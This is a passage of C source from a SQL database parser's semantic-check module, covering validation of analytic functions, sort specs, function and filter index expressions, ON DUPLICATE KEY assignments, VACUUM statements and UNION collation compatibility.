return NULL;
}
/* compare */
if (pt_compare_sort_spec_expr (parser, expr, spec_expr))
{
/* found match */
return spec_list;
}
/* advance */
spec_list = spec_list->next;
}
/* nothing was found */
return NULL;
}
/*
* pt_remove_unusable_sort_specs () - remove unusable sort specs
* return: new list, after filtering sort specs
* parser(in): parser context
* list(in): spec list
* Note:
* This call remove useless sort specs like NULL and constant expressions
* (e.g.: order by null, order by 1 + 5, etc)
*/
static PT_NODE *
pt_remove_unusable_sort_specs (PARSER_CONTEXT * parser, PT_NODE * list)
{
PT_NODE *item, *expr, *save_next;
/* check nulls */
if (parser == NULL)
{
assert (false);
return NULL;
}
if (list == NULL)
{
return NULL;
}
/* remove nulls */
item = list;
list = NULL;
while (item)
{
/* unlink */
save_next = item->next;
item->next = NULL;
if (item->node_type != PT_SORT_SPEC || item->info.sort_spec.expr == NULL)
{
assert (false);
PT_INTERNAL_ERROR (parser, "invalid sort spec");
}
expr = item->info.sort_spec.expr;
if (expr->node_type == PT_VALUE && expr->type_enum == PT_TYPE_NULL)
{
/* NULL spec, get rid of it */
parser_free_tree (parser, item);
}
else if (expr->node_type == PT_EXPR && pt_is_const_expr_node (expr))
{
/* order by constant which is not place holder, get rid of it */
parser_free_tree (parser, item);
}
else
{
/* normal spec, keep it */
list = parser_append_node (item, list);
}
/* continue */
item = save_next;
}
/* list contains only normal specs */
return list;
}
/*
* pt_check_analytic_function () -
* return:
* parser(in):
* func(in): Function node
* arg(in): SELECT node
* continue_walk(in):
*
*/
static PT_NODE *
pt_check_analytic_function (PARSER_CONTEXT * parser, PT_NODE * func, void *arg, int *continue_walk)
{
PT_NODE *arg_list, *partition_by, *order_by, *select_list;
PT_NODE *order, *query;
PT_NODE *link = NULL, *order_list = NULL, *match = NULL;
PT_NODE *new_order = NULL;
if (func->node_type != PT_FUNCTION || !func->info.function.analytic.is_analytic)
{
return func;
}
query = (PT_NODE *) arg;
if (query->node_type != PT_SELECT)
{
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_ALLOWED_HERE,
pt_short_print (parser, func));
return func;
}
arg_list = func->info.function.arg_list;
if (arg_list == NULL && func->info.function.function_type != PT_COUNT_STAR
&& func->info.function.function_type != PT_ROW_NUMBER && func->info.function.function_type != PT_RANK
&& func->info.function.function_type != PT_DENSE_RANK && func->info.function.function_type != PT_CUME_DIST
&& func->info.function.function_type != PT_PERCENT_RANK)
{
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_FUNCTION_NO_ARGS,
pt_short_print (parser, func));
return func;
}
/* median doesn't support over(order by ...) */
if (func->info.function.function_type == PT_MEDIAN)
{
if (func->info.function.analytic.order_by != NULL)
{
PT_ERRORm (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_MEDIAN_FUNC_NOT_ALLOW_ORDER_BY);
return func;
}
else if (!PT_IS_CONST (arg_list))
{
/* only sort data when arg is not constant */
new_order = parser_new_node (parser, PT_SORT_SPEC);
if (new_order == NULL)
{
PT_ERRORm (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return func;
}
new_order->info.sort_spec.asc_or_desc = PT_ASC;
new_order->info.sort_spec.nulls_first_or_last = PT_NULLS_DEFAULT;
new_order->info.sort_spec.expr = parser_copy_tree (parser, arg_list);
if (new_order->info.sort_spec.expr == NULL)
{
PT_ERRORm (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return func;
}
func->info.function.analytic.order_by = new_order;
}
}
/* remove NULL specs */
func->info.function.analytic.partition_by =
pt_remove_unusable_sort_specs (parser, func->info.function.analytic.partition_by);
func->info.function.analytic.order_by = pt_remove_unusable_sort_specs (parser, func->info.function.analytic.order_by);
partition_by = func->info.function.analytic.partition_by;
order_by = func->info.function.analytic.order_by;
select_list = query->info.query.q.select.list;
/* order_by sort direction has priority over partition_by direction */
if (order_by != NULL && partition_by != NULL)
{
PT_NODE *part, *match;
/* iterate partition_by nodes */
for (part = partition_by; part; part = part->next)
{
/* find matching sort spec in order_by list and copy direction */
match = pt_find_matching_sort_spec (parser, part, order_by, select_list);
if (match != NULL)
{
part->info.sort_spec.asc_or_desc = match->info.sort_spec.asc_or_desc;
part->info.sort_spec.nulls_first_or_last = match->info.sort_spec.nulls_first_or_last;
}
}
}
/* link partition and order lists together */
for (link = partition_by; link && link->next; link = link->next)
{
;
}
if (link)
{
order_list = partition_by;
link->next = order_by;
}
else
{
order_list = order_by;
}
/* check for nested analytic functions */
if (pt_has_analytic (parser, order_list))
{
PT_ERRORm (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NESTED_ANALYTIC_FUNCTIONS);
goto error_exit;
}
/* replace names/exprs with positions in select list where possible; this also re-processes PT_VALUE sort expressions
* so we can identify and reduce cases like: SELECT a, b, a, AVG(b) OVER (PARTITION BY A ORDER BY 1 asc, 3 asc) */
for (order = order_list; order; order = order->next)
{
PT_NODE *expr, *col, *temp;
int index;
/* resolve sort spec */
expr = pt_resolve_sort_spec_expr (parser, order, select_list);
if (expr == NULL)
{
goto error_exit;
}
/* try to match with something in the select list */
for (col = select_list, index = 1; col; col = col->next, index++)
{
if (col->flag.is_hidden_column)
{
/* skip hidden columns; they might disappear later on */
continue;
}
if (pt_compare_sort_spec_expr (parser, expr, col))
{
/* found a match in select list */
break;
}
}
/* if we have a match in the select list, we can replace it on the spot; otherwise, wait for XASL generation */
if (col != NULL)
{
PT_NODE *save_next = col->next;
col->next = NULL;
if (pt_has_analytic (parser, col))
{
col->next = save_next;
/* sort expression contains analytic function */
PT_ERRORm (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NESTED_ANALYTIC_FUNCTIONS);
goto error_exit;
}
else
{
col->next = save_next;
}
/* create a value node and replace expr with it */
temp = parser_new_node (parser, PT_VALUE);
if (temp == NULL)
{
PT_ERRORm (parser, expr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error_exit;
}
else
{
temp->type_enum = PT_TYPE_INTEGER;
temp->info.value.data_value.i = index;
(void) pt_value_to_db (parser, temp);
parser_free_tree (parser, order->info.sort_spec.expr);
order->info.sort_spec.expr = temp;
}
/* set position descriptor and resolve domain */
order->info.sort_spec.pos_descr.pos_no = index;
if (col->type_enum != PT_TYPE_NONE && col->type_enum != PT_TYPE_MAYBE)
{ /* is resolved */
order->info.sort_spec.pos_descr.dom = pt_xasl_node_to_domain (parser, col);
}
}
}
/* check for duplicate entries */
for (order = order_list; order; order = order->next)
{
PT_NODE *temp;
while ((match = pt_find_matching_sort_spec (parser, order, order->next, select_list)))
{
if ((order->info.sort_spec.asc_or_desc != match->info.sort_spec.asc_or_desc)
|| (pt_to_null_ordering (order) != pt_to_null_ordering (match)))
{
PT_ERRORmf (parser, match, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_DIR_CONFLICT,
pt_short_print (parser, match));
goto error_exit;
}
else
{
/* check if we are going to remove the link */
if (link && match == link)
{
temp = order_list;
while (temp->next != match)
{
temp = temp->next;
}
link = temp;
}
/* check if we are going to remove the first ORDER BY node */
if (link && match == link->next)
{
/* func may be printed again by pt_find_matching_sort_spec, make sure we don't reference garbage in
* order_by */
func->info.function.analytic.order_by = match->next;
}
/* remove match */
order->next = pt_remove_from_list (parser, match, order->next);
}
}
}
error_exit:
/* un-link partition and order lists */
if (link)
{
func->info.function.analytic.order_by = link->next;
link->next = NULL;
}
return func;
}
/* pt_check_function_index_expr () - check if there is at most one expression
* in the index definition and , if one
* expression does exist, it is checked to
* see if it meets the constraints of being
* part of an index
* return :
* parser(in) : parser context
* node (in) : node - PT_CREATE_INDEX
*/
static void
pt_check_function_index_expr (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *col, *rem = NULL;
int fnc_cnt = 0;
int i = 0;
for (col = node->info.index.column_names, i = 0; col != NULL; col = col->next, i++)
{
if (col->info.sort_spec.expr->node_type != PT_NAME)
{
if (pt_is_function_index_expr (parser, col->info.sort_spec.expr, true))
{
(void) parser_walk_tree (parser, col->info.sort_spec.expr, pt_check_function_index_expr_pre, NULL, NULL,
NULL);
if (pt_has_error (parser))
{
/* Stop. */
return;
}
node->info.index.function_expr = parser_copy_tree (parser, col);
node->info.index.func_pos = i;
rem = col;
}
else
{
return;
}
fnc_cnt++;
}
}
if (fnc_cnt > 1)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_FUNCTION_INDEX);
}
else if (fnc_cnt > 0 && rem)
{
PT_NODE *list, *arg, *n;
node->info.index.column_names = pt_remove_from_list (parser, rem, node->info.index.column_names);
list = pt_expr_to_sort_spec (parser, node->info.index.function_expr->info.sort_spec.expr);
for (arg = list; arg != NULL; arg = arg->next)
{
for (n = node->info.index.column_names; n != NULL; n = n->next)
{
if (!pt_str_compare (arg->info.sort_spec.expr->info.name.original,
n->info.sort_spec.expr->info.name.original, CASE_INSENSITIVE))
{
break;
}
}
if (n == NULL)
{
PT_NODE *new_node = parser_copy_tree (parser, arg);
new_node->next = NULL;
node->info.index.column_names = parser_append_node (new_node, node->info.index.column_names);
node->info.index.func_no_args++;
}
}
}
}
/*
* pt_check_function_index_expr_pre () - Helper function to check function
* index semantic correctness.
*
* return : Current node.
* parser (in) : Parser context.
* node (in) : Current node.
* arg (in/out) : Not used.
* continue_walk (in/out) : Walker argument to know when to stop advancing.
*/
static PT_NODE *
pt_check_function_index_expr_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
assert (continue_walk != NULL);
if (*continue_walk == PT_STOP_WALK || node == NULL)
{
return node;
}
if (node->node_type == PT_NAME && PT_IS_LTZ_TYPE (node->type_enum))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_LTZ_IN_FUNCTION_FILTER_INDEX);
*continue_walk = PT_STOP_WALK;
}
return node;
}
/*
* pt_check_filter_index_expr () - verify if an expression tree is allowed
* to be used in the filter expression of an
* index
* return : true if expression tree is valid, false otherwise
* parser (in) : parser context
* atts (in): an attribute definition list
* node (in) : root node of expression tree
* db_obj (in) : class mop
*/
static void
pt_check_filter_index_expr (PARSER_CONTEXT * parser, PT_NODE * atts, PT_NODE * node, MOP db_obj)
{
PT_FILTER_INDEX_INFO info;
int atts_count = 0, i = 0;
if (node == NULL)
{
/* null node; nothing to check */
return;
}
info.atts = atts;
while (atts)
{
atts_count++;
atts = atts->next;
}
info.atts_count = atts_count;
info.is_null_atts = (bool *) malloc (atts_count * sizeof (bool));
if (info.is_null_atts == NULL)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
for (i = 0; i < atts_count; i++)
{
info.is_null_atts[i] = false;
}
info.is_valid_expr = true;
info.is_constant_expression = true;
info.has_keys_in_expression = false;
info.depth = 0;
info.has_not = false;
(void) parser_walk_tree (parser, node, pt_check_filter_index_expr_pre, &info, pt_check_filter_index_expr_post, &info);
/* at least one key must be contained in filter expression (without IS_NULL operator, or variations like "not a is
* not null") or at least one key must be not null constrained */
if (info.is_valid_expr == true && info.is_constant_expression == false && info.has_keys_in_expression == false)
{
PT_NODE *attr = NULL, *p_nam = NULL;
SM_CLASS *smclass = NULL;
SM_ATTRIBUTE *smatt = NULL;
int i;
bool has_not_null_constraint;
/* search for null constraints */
i = 0;
has_not_null_constraint = false;
for (attr = info.atts; attr != NULL && has_not_null_constraint == false; attr = attr->next, i++)
{
if (attr->node_type == PT_SORT_SPEC)
{
p_nam = attr->info.sort_spec.expr;
}
else if (attr->node_type == PT_ATTR_DEF)
{
p_nam = attr->info.attr_def.attr_name;
}
if (p_nam == NULL || p_nam->node_type != PT_NAME)
{
continue; /* give up */
}
if (smclass == NULL)
{
assert (db_obj != NULL);
if (au_fetch_class (db_obj, &smclass, AU_FETCH_READ, AU_SELECT) != NO_ERROR)
{
info.is_valid_expr = false;
break;
}
}
for (smatt = smclass->attributes; smatt != NULL; smatt = (SM_ATTRIBUTE *) smatt->header.next)
{
if (SM_COMPARE_NAMES (smatt->header.name, p_nam->info.name.original) == 0)
{
if (db_attribute_is_non_null (smatt))
{
has_not_null_constraint = true;
}
break;
}
}
}
if (has_not_null_constraint == false)
{
info.is_valid_expr = false;
}
}
if (info.is_valid_expr == false)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_FILTER_INDEX,
pt_short_print (parser, node));
}
if (info.is_null_atts)
{
free_and_init (info.is_null_atts);
}
}
/*
* pt_check_filter_index_expr_post ()
*
* return : current node
* parser (in) : parser context
* node (in) : node
* arg (in/out) : (is_valid_expr, expression depth)
* continue_walk (in) : continue walk
*/
static PT_NODE *
pt_check_filter_index_expr_post (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_FILTER_INDEX_INFO *info = (PT_FILTER_INDEX_INFO *) arg;
assert (info != NULL);
switch (node->node_type)
{
case PT_EXPR:
info->depth--;
switch (node->info.expr.op)
{
case PT_NOT:
info->has_not = !(info->has_not);
break;
default:
break;
}
break;
case PT_FUNCTION:
info->depth--;
break;
default:
break;
}
return node;
}
/*
* pt_check_filter_index_expr () - verify if a node is allowed to be used
* in the filter expression of an index
* return : current node
* parser (in) : parser context
* node (in) : node
* arg (in/out) : PT_FILTER_INDEX_INFO *
* continue_walk (in) : continue walk
*/
static PT_NODE *
pt_check_filter_index_expr_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_FILTER_INDEX_INFO *info = (PT_FILTER_INDEX_INFO *) arg;
assert (info != NULL);
if (node == NULL || info->is_valid_expr == false)
{
return node;
}
*continue_walk = PT_CONTINUE_WALK;
switch (node->node_type)
{
case PT_EXPR:
info->depth++;
/* only allow expressions that have a deterministic result */
switch (node->info.expr.op)
{
case PT_AND:
case PT_BETWEEN:
case PT_NOT_BETWEEN:
case PT_LIKE:
case PT_NOT_LIKE:
case PT_IS_IN:
case PT_IS_NOT_IN:
case PT_IS:
case PT_IS_NOT:
case PT_EQ_SOME:
case PT_NE_SOME:
case PT_GE_SOME:
case PT_GT_SOME:
case PT_LT_SOME:
case PT_LE_SOME:
case PT_EQ_ALL:
case PT_NE_ALL:
case PT_GE_ALL:
case PT_GT_ALL:
case PT_LT_ALL:
case PT_LE_ALL:
case PT_EQ:
case PT_NE:
case PT_GE:
case PT_GT:
case PT_LT:
case PT_LE:
case PT_NULLSAFE_EQ:
case PT_PLUS:
case PT_MINUS:
case PT_TIMES:
case PT_DIVIDE:
case PT_UNARY_MINUS:
case PT_BIT_NOT:
case PT_BIT_XOR:
case PT_BIT_AND:
case PT_BIT_OR:
case PT_BIT_COUNT:
case PT_BITSHIFT_LEFT:
case PT_BITSHIFT_RIGHT:
case PT_DIV:
case PT_MOD:
case PT_XOR:
case PT_BETWEEN_AND:
case PT_BETWEEN_GE_LE:
case PT_BETWEEN_GE_LT:
case PT_BETWEEN_GT_LE:
case PT_BETWEEN_GT_LT:
case PT_BETWEEN_EQ_NA:
case PT_BETWEEN_INF_LE:
case PT_BETWEEN_INF_LT:
case PT_BETWEEN_GE_INF:
case PT_BETWEEN_GT_INF:
case PT_RANGE:
case PT_MODULUS:
case PT_POSITION:
case PT_SUBSTRING:
case PT_OCTET_LENGTH:
case PT_BIT_LENGTH:
case PT_SUBSTRING_INDEX:
case PT_SPACE:
case PT_CHAR_LENGTH:
case PT_LOWER:
case PT_UPPER:
case PT_TRIM:
case PT_LTRIM:
case PT_RTRIM:
case PT_LPAD:
case PT_RPAD:
case PT_REPLACE:
case PT_TRANSLATE:
case PT_REPEAT:
case PT_ADD_MONTHS:
case PT_LAST_DAY:
case PT_MONTHS_BETWEEN:
case PT_TO_CHAR:
case PT_TO_DATE:
case PT_TO_NUMBER:
case PT_TO_TIME:
case PT_TO_TIMESTAMP:
case PT_TO_DATETIME:
case PT_EXTRACT:
case PT_LIKE_ESCAPE:
case PT_CAST:
case PT_FLOOR:
case PT_CEIL:
case PT_SIGN:
case PT_POWER:
case PT_ROUND:
case PT_ABS:
case PT_TRUNC:
case PT_CHR:
case PT_INSTR:
case PT_LEAST:
case PT_GREATEST:
case PT_STRCAT:
case PT_DECODE:
case PT_LOG:
case PT_EXP:
case PT_SQRT:
case PT_CONCAT:
case PT_CONCAT_WS:
case PT_FIELD:
case PT_LEFT:
case PT_RIGHT:
case PT_LOCATE:
case PT_MID:
case PT_STRCMP:
case PT_REVERSE:
case PT_ACOS:
case PT_ASIN:
case PT_ATAN:
case PT_ATAN2:
case PT_COS:
case PT_SIN:
case PT_COT:
case PT_TAN:
case PT_DEGREES:
case PT_RADIANS:
case PT_PI:
case PT_FORMAT:
case PT_LN:
case PT_LOG2:
case PT_LOG10:
case PT_TIME_FORMAT:
case PT_TIMESTAMP:
case PT_FROM_UNIXTIME:
case PT_ADDDATE:
case PT_DATE_ADD:
case PT_SUBDATE:
case PT_DATE_SUB:
case PT_DATE_FORMAT:
case PT_DATEF:
case PT_TIMEF:
case PT_YEARF:
case PT_MONTHF:
case PT_DAYF:
case PT_HOURF:
case PT_MINUTEF:
case PT_SECONDF:
case PT_DAYOFMONTH:
case PT_WEEKDAY:
case PT_DAYOFWEEK:
case PT_DAYOFYEAR:
case PT_QUARTERF:
case PT_TODAYS:
case PT_FROMDAYS:
case PT_TIMETOSEC:
case PT_SECTOTIME:
case PT_MAKEDATE:
case PT_MAKETIME:
case PT_WEEKF:
case PT_USER:
case PT_DATEDIFF:
case PT_TIMEDIFF:
case PT_STR_TO_DATE:
case PT_DEFAULTF:
case PT_LIKE_LOWER_BOUND:
case PT_LIKE_UPPER_BOUND:
case PT_BLOB_LENGTH:
case PT_BLOB_TO_BIT:
case PT_CLOB_LENGTH:
case PT_CLOB_TO_CHAR:
case PT_RLIKE:
case PT_RLIKE_BINARY:
case PT_NOT_RLIKE:
case PT_NOT_RLIKE_BINARY:
case PT_HEX:
case PT_ADDTIME:
case PT_ASCII:
case PT_CONV:
case PT_BIN:
case PT_FINDINSET:
case PT_INET_ATON:
case PT_INET_NTOA:
case PT_TZ_OFFSET:
case PT_NEW_TIME:
case PT_FROM_TZ:
case PT_TO_DATETIME_TZ:
case PT_TO_TIMESTAMP_TZ:
case PT_CONV_TZ:
/* valid expression, nothing to do */
break;
case PT_NOT:
info->has_not = !(info->has_not);
break;
case PT_IS_NULL:
case PT_IS_NOT_NULL:
{
PT_NODE *attr = NULL, *p_nam = NULL;
PT_NODE *arg1 = NULL;
int i = 0, j = 0;
if (node->info.expr.op == PT_IS_NULL)
{
if (info->has_not == true)
{
/* not expression is null case */
break;
}
}
else if (info->has_not == false)
{
/* expression is not null case */
break;
}
arg1 = node->info.expr.arg1;
if (arg1 == NULL || info->atts == NULL)
{
break;
}
if (arg1->node_type != PT_NAME)
{
/* do not allow expression is null do not allow not expression is not null */
info->is_valid_expr = false;
break;
}
/* arg1 is PT_NAME node */
if (arg1->info.name.original == NULL)
{
break;
}
i = 0;
for (attr = info->atts; attr != NULL; attr = attr->next, i++)
{
if (attr->node_type == PT_SORT_SPEC)
{
p_nam = attr->info.sort_spec.expr;
}
else if (attr->node_type == PT_ATTR_DEF)
{
p_nam = attr->info.attr_def.attr_name;
}
if (p_nam == NULL || p_nam->node_type != PT_NAME)
{
continue; /* give up */
}
if (!pt_str_compare (p_nam->info.name.original, arg1->info.name.original, CASE_INSENSITIVE))
{
info->is_null_atts[i] = true;
for (j = 0; j < info->atts_count; j++)
{
if (info->is_null_atts[j] == false)
{
break;
}
}
if (j == info->atts_count)
{
info->is_valid_expr = false;
}
break;
}
}
}
break;
case PT_FUNCTION_HOLDER:
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_FUNCTION_CANNOT_BE_USED_FOR_FILTER_INDEX,
fcode_get_lowercase_name (node->info.expr.arg1->info.function.function_type));
info->is_valid_expr = false;
break;
default:
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_FUNCTION_CANNOT_BE_USED_FOR_FILTER_INDEX, pt_show_binopcode (node->info.expr.op));
info->is_valid_expr = false;
break;
}
break;
case PT_FUNCTION:
info->depth++;
/* do not allow aggregates and analytic functions */
switch (node->info.function.function_type)
{
case F_SET:
case F_MULTISET:
case F_SEQUENCE:
/* the functions above are used in the argument IN (values list) expression */
case F_ELT:
case F_INSERT_SUBSTRING:
case F_JSON_ARRAY:
case F_JSON_ARRAY_APPEND:
case F_JSON_ARRAY_INSERT:
case F_JSON_CONTAINS:
case F_JSON_CONTAINS_PATH:
case F_JSON_DEPTH:
case F_JSON_EXTRACT:
case F_JSON_GET_ALL_PATHS:
case F_JSON_KEYS:
case F_JSON_INSERT:
case F_JSON_LENGTH:
case F_JSON_MERGE:
case F_JSON_MERGE_PATCH:
case F_JSON_OBJECT:
case F_JSON_PRETTY:
case F_JSON_QUOTE:
case F_JSON_REMOVE:
case F_JSON_REPLACE:
case F_JSON_SEARCH:
case F_JSON_SET:
case F_JSON_TYPE:
case F_JSON_UNQUOTE:
case F_JSON_VALID:
/* valid expression, nothing to do */
break;
default:
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_FUNCTION_CANNOT_BE_USED_FOR_FILTER_INDEX,
fcode_get_lowercase_name (node->info.function.function_type));
info->is_valid_expr = false;
break;
}
break;
case PT_NAME:
/* only allow attribute names */
info->is_constant_expression = false;
if (node->info.name.meta_class != PT_META_ATTR && node->info.name.meta_class != PT_NORMAL)
{
/* valid expression, nothing to do */
info->is_valid_expr = false;
}
else if (PT_IS_LTZ_TYPE (node->type_enum))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_LTZ_IN_FUNCTION_FILTER_INDEX);
info->is_valid_expr = false;
}
else if (info->has_keys_in_expression == false)
{
PT_NODE *attr = NULL, *p_nam = NULL;
int i;
i = 0;
for (attr = info->atts; attr != NULL; attr = attr->next, i++)
{
if (attr->node_type == PT_SORT_SPEC)
{
p_nam = attr->info.sort_spec.expr;
}
else if (attr->node_type == PT_ATTR_DEF)
{
p_nam = attr->info.attr_def.attr_name;
}
if (p_nam == NULL || p_nam->node_type != PT_NAME)
{
continue; /* give up */
}
if ((pt_str_compare (p_nam->info.name.original, node->info.name.original, CASE_INSENSITIVE) == 0)
&& (info->is_null_atts[i] == 0))
{
info->has_keys_in_expression = true;
break;
}
}
}
break;
case PT_VALUE:
if (info->depth == 0)
{
if (node->info.value.db_value_is_initialized && DB_VALUE_TYPE (&node->info.value.db_value) == DB_TYPE_INTEGER)
{
if (db_get_int (&node->info.value.db_value) == 0)
{
info->is_valid_expr = false;
}
}
}
break;
case PT_DATA_TYPE:
/* valid expression, nothing to do */
break;
default:
info->is_valid_expr = false;
break;
}
if (info->is_valid_expr == false)
{
*continue_walk = PT_STOP_WALK;
}
return node;
}
/*
* pt_get_assignments () - get assignment list for INSERT/UPDATE/MERGE
* statements
* return : assignment list or NULL
* node (in): statement node
*/
static PT_NODE *
pt_get_assignments (PT_NODE * node)
{
if (node == NULL)
{
return NULL;
}
switch (node->node_type)
{
case PT_UPDATE:
return node->info.update.assignment;
case PT_MERGE:
return node->info.merge.update.assignment;
case PT_INSERT:
return node->info.insert.odku_assignments;
default:
return NULL;
}
}
/*
* pt_check_odku_assignments () - check ON DUPLICATE KEY assignments of an
* INSERT statement
* return : node
* parser (in) : parser context
* insert (in) : insert statement
*
* Note: this function performs the following validations:
* - there are no double assignments
* - assignments are only performed to columns belonging to the insert spec
* - only instance attributes are updated
*/
PT_NODE *
pt_check_odku_assignments (PARSER_CONTEXT * parser, PT_NODE * insert)
{
PT_NODE *assignment, *spec, *lhs;
if (insert == NULL || insert->node_type != PT_INSERT)
{
return insert;
}
if (insert->info.insert.odku_assignments == NULL)
{
return insert;
}
pt_no_double_updates (parser, insert);
if (pt_has_error (parser))
{
return NULL;
}
pt_check_assignments (parser, insert);
if (pt_has_error (parser))
{
return NULL;
}
spec = insert->info.insert.spec;
for (assignment = insert->info.insert.odku_assignments; assignment != NULL; assignment = assignment->next)
{
if (assignment->node_type != PT_EXPR || assignment->info.expr.op != PT_ASSIGN)
{
assert (false);
PT_INTERNAL_ERROR (parser, "semantic");
return NULL;
}
lhs = assignment->info.expr.arg1;
if (lhs == NULL || lhs->node_type != PT_NAME)
{
assert (false);
PT_INTERNAL_ERROR (parser, "semantic");
return NULL;
}
if (lhs->info.name.spec_id != spec->info.spec.id)
{
PT_ERRORm (parser, lhs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ILLEGAL_LHS);
return NULL;
}
}
return insert;
}
/*
* pt_check_vacuum () - Check VACUUM statement.
*
* return : Void.
* parser (in) : Parser context.
* node (in) : VACUUM parse tree node.
*/
static void
pt_check_vacuum (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_FLAT_SPEC_INFO info;
assert (parser != NULL);
if (!PT_IS_VACUUM_NODE (node))
{
/* Not the scope of this function */
return;
}
info.spec_parent = NULL;
info.for_update = false;
/* Replace each Entity Spec with an Equivalent flat list */
parser_walk_tree (parser, node, pt_flat_spec_pre, &info, pt_continue_walk, NULL);
}
/*
* pt_get_select_list_coll_compat () - scans a UNION parse tree and retains
* for each column with collation the node
* (and its compatibility info) having the
* least (collation) coercible level
*
* return: compatibility status
* parser(in): the parser context
* query(in): query node
* cinfo(in/out): compatibility info array structure
* num_cinfo(in): number of elements in cinfo
*/
static PT_UNION_COMPATIBLE
pt_get_select_list_coll_compat (PARSER_CONTEXT * parser, PT_NODE * query, SEMAN_COMPATIBLE_INFO * cinfo, int num_cinfo)
{
PT_NODE *attrs, *att;
int i;
PT_UNION_COMPATIBLE status = PT_UNION_COMP, status2;
assert (query != NULL);
switch (query->node_type)
{
case PT_SELECT:
attrs = pt_get_select_list (parser, query);
for (att = attrs, i = 0; i < num_cinfo && att != NULL; ++i, att = att->next)
{
SEMAN_COMPATIBLE_INFO cinfo_att;
if (!PT_HAS_COLLATION (att->type_enum))
{
continue;
}
pt_get_compatible_info_from_node (att, &cinfo_att);
if (cinfo[i].type_enum == PT_TYPE_NONE)
{
/* first query, init this column */
memcpy (&(cinfo[i]), &cinfo_att, sizeof (cinfo_att));
}
else if (cinfo_att.coll_infer.coerc_level < cinfo[i].coll_infer.coerc_level)
{
assert (PT_HAS_COLLATION (cinfo[i].type_enum));
memcpy (&(cinfo[i].coll_infer), &(cinfo_att.coll_infer), sizeof (cinfo_att.coll_infer));
cinfo[i].ref_att = att;
status = PT_UNION_INCOMP;
}
else if (cinfo_att.coll_infer.coll_id != cinfo[i].coll_infer.coll_id)
{
status = PT_UNION_INCOMP;
}
}
break;
case PT_UNION:
case PT_INTERSECTION:
case PT_DIFFERENCE:
status = pt_get_select_list_coll_compat (parser, query->info.query.q.union_.arg1, cinfo, num_cinfo);
if (status != PT_UNION_COMP && status != PT_UNION_INCOMP)
{
break;
}
status2 = pt_get_select_list_coll_compat (parser, query->info.query.q.union_.arg2, cinfo, num_cinfo);
if (status2 != PT_UNION_COMP)
{
status = status2;
}
break;
default:
break;
}
return status;
}
/*
* pt_apply_union_select_list_collation () - scans a UNION parse tree and
* sets for each node with collation the collation corresponding
* of the column in 'cinfo' array
*
* return: union compatibility status
* parser(in): the parser context
* query(in): query node
* cinfo(in): compatibility info array structure
* num_cinfo(in): number of elements in cinfo
*/
static PT_UNION_COMPATIBLE
pt_apply_union_select_list_collation (PARSER_CONTEXT * parser, PT_NODE * query, SEMAN_COMPATIBLE_INFO * cinfo,
int num_cinfo)
{
PT_NODE *attrs, *att, *prev_att, *next_att, *new_att;
int i;
PT_UNION_COMPATIBLE status = PT_UNION_COMP, status2;
assert (query != NULL);
switch (query->node_type)
{
case PT_SELECT:
attrs = pt_get_select_list (parser, query);
prev_att = NULL;
next_att = NULL;
for (att = attrs, i = 0; i < num_cinfo && att != NULL; ++i, prev_att = att, att = next_att)
{
SEMAN_COMPATIBLE_INFO cinfo_att;
next_att = att->next;
if (!PT_HAS_COLLATION (att->type_enum))
{
continue;
}
assert (PT_HAS_COLLATION (cinfo[i].type_enum));
pt_get_compatible_info_from_node (att, &cinfo_att);
if (cinfo_att.coll_infer.coll_id != cinfo[i].coll_infer.coll_id)
{
bool new_cast_added = false;
if (pt_common_collation (&cinfo_att.coll_infer, &(cinfo[i].coll_infer), NULL, 2, false,
&cinfo_att.coll_infer.coll_id, &cinfo_att.coll_infer.codeset) != 0)
{
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNION_INCOMPATIBLE,
pt_short_print (parser, att), pt_short_print (parser, cinfo[i].ref_att));
return PT_UNION_INCOMP_CANNOT_FIX;
}
new_att = pt_make_cast_with_compatible_info (parser, att, next_att, &cinfo_att, &new_cast_added);
if (new_att == NULL)
{
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNION_INCOMPATIBLE,
pt_short_print (parser, att), pt_short_print (parser, cinfo[i].ref_att));
return PT_UNION_INCOMP_CANNOT_FIX;
}
att = new_att;
if (new_cast_added)
{
if (prev_att == NULL)
{
query->info.query.q.select.list = att;
query->type_enum = att->type_enum;
if (query->data_type)
{
parser_free_tree (parser, query->data_type);
}
